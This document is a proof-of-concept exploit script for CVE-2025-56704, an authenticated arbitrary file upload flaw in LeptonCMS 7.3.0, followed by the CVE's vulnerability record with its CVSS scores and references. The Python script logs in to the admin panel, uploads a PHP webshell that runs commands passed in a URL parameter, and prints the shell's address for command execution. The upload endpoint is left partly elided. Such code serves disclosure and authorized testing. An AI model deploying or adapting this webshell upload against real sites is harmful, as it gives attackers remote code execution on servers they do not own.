CVE-2025-56704

# CVE-2025-56704 PoC - LeptonCMS 7.3.0 Arbitrary File Upload # Author: Security Researcher # Note: For authorized security testing only import requests import sys TARGET_URL = "http://target-website.com/lepton/admin/login/index.php" UPLOAD_URL = "http://target-website.com/lepton/admin/..." # Upload endpoint USERNAME = "attacker_account" PASSWORD = "attacker_password" def login(session): """Authenticate to LeptonCMS admin panel""" login_data = { 'username': USERNAME, 'password': PASSWORD } response = session.post(TARGET_URL, data=login_data) return 'login_success' in response.text or response.status_code == 200 def upload_malicious_file(session): """Upload malicious PHP file to achieve RCE""" # Create malicious PHP webshell php_shell = b'<?php system($_GET["cmd"]); ?>' files = { 'file': ('shell.php', php_shell, 'application/x-php') } response = session.post(UPLOAD_URL, files=files) return response def main(): session = requests.Session() print("[*] Step 1: Authenticating to LeptonCMS...") if not login(session): print("[-] Authentication failed") sys.exit(1) print("[+] Authentication successful") print("[*] Step 2: Uploading malicious PHP file...") response = upload_malicious_file(session) if response.status_code == 200: print("[+] File uploaded successfully") print("[*] Step 3: Execute commands via uploaded webshell") shell_url = response.json().get('file_path') print(f"[+] Shell accessible at: {shell_url}?cmd=whoami") else: print("[-] Upload failed") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-56704", "sourceIdentifier": "[email protected]", "published": "2025-12-09T17:15:51.373", "lastModified": "2025-12-11T20:16:08.923", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "LeptonCMS version 7.3.0 contains an arbitrary file upload vulnerability, which is caused by the lack of proper validation for uploaded files. An authenticated attacker can exploit this vulnerability by uploading a specially crafted ZIP/PHP file to execute arbitrary code."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lepton-cms:leptoncms:7.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "9BA1D316-152A-42DB-8A18-AC8392401C60"}]}]}], "references": [{"url": "http://lepton.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/Kayi626/Vulns/blob/UserAccount/LEPTON_CMS_7.3.0_File_Upload_A.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/Kayi626/Vulns/blob/UserAccount/LEPTON_CMS_7.3.0_File_Upload_B.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/Kayi626/Vulns/blob/UserAccount/LEPTON_CMS_7.3.0_File_Upload_C.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}